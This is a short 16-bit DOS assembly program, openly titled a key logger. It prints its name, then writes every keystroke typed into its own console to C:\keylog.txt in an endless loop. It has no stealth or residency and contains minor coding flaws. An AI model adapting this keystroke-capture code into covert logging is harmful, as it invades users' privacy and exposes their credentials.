;CLEAR SCREEN MACRO FUNC 06 INT 12
CLRSCR	MACRO
	PUSHA
	MOV	AH,06
	MOV	AL,00
	MOV	BH,07
	MOV	CH,00
	MOV	CL,00
	MOV	DH,24
	MOV	DL,29
	INT	10H
	POPA
CLRSCR	ENDM
;----------------------------------------------------------------------------
DTSEG	SEGMENT                                   
	MSG	DB	"Key logger By Peiman Mehrbani",10D,13D,'$'
	HLP	DB	"The Key log save in C:\keylog.txt",10D,13D,'$'
	C	DB	?             
	PATH	DB	"c:\keylog.txt",0
	FHANDLE	DW	? 
DTSEG   ENDS
;----------------------------------------------------------------------------
STSEG   SEGMENT
    DW   128  DUP(0)
STSEG   ENDS
;----------------------------------------------------------------------------
CDSEG   SEGMENT
MAIN    PROC    FAR
           
	ASSUME	CS:CDSEG,DS:DTSEG,SS:STSEG 
	MOV	AX,DTSEG
	MOV	DS,AX 
    
	CLRSCR
    
	CALL	SHOWMSG 
	CALL	FOPEN
	
	LOOP1:
	CALL	GETC
	CALL	FPUTC
	JMP	LOOP1

	CALL	FCLOSE
	CALL	EXIT

MAIN    ENDP 
;----------------------------------------------------------------------------
;exit to operating system
EXIT    PROC
	PUSHA
	MOV	AX, 4CH
	INT	21H
	POPA
    
	RET
EXIT ENDP      
;----------------------------------------------------------------------------
;get one char from keyboard and store in C var
GETC	PROC
	PUSHA
	MOV	AH,07H
	INT	21H
	MOV	C,AL
	POPA
	
	RET
GETC	ENDP
;----------------------------------------------------------------------------     
;save one char to opened file
FPUTC	PROC
	PUSHA
	MOV	AH,40H
	MOV	BX,FHANDLE
	LEA	DX,C
	MOV	CX,1;SIZE
	INT	21H
	POPA
	
	RET
FPUTC	ENDP
;----------------------------------------------------------------------------
;open file and store handle to FHANDLW
FOPEN	PROC
	PUSHA
	MOV	AH,3CH 
	MOV	CX,0
	LEA	DX,PATH
	INT	21H
	
	MOV	FHANDLE , AX
	POPA
	
	RET
FOPEN	ENDP
;----------------------------------------------------------------------------
;close file
FCLOSE	PROC
	PUSHA
	MOV	AH,3EH
	MOV	BX,FHANDLE
	INT	21H
	POPA
	RET
FCLOSE	ENDP
;----------------------------------------------------------------------------
SHOWMSG	PROC
	PUSHA
	MOV	AH,09H
	LEA	DX,MSG
	INT	21H
	LEA	DX,HLP
	INT	21H
	POPA  
	RET
SHOWMSG	ENDP

CDSEG   ENDS
;----------------------------------------------------------------------------
END MAIN ; END PROGRAM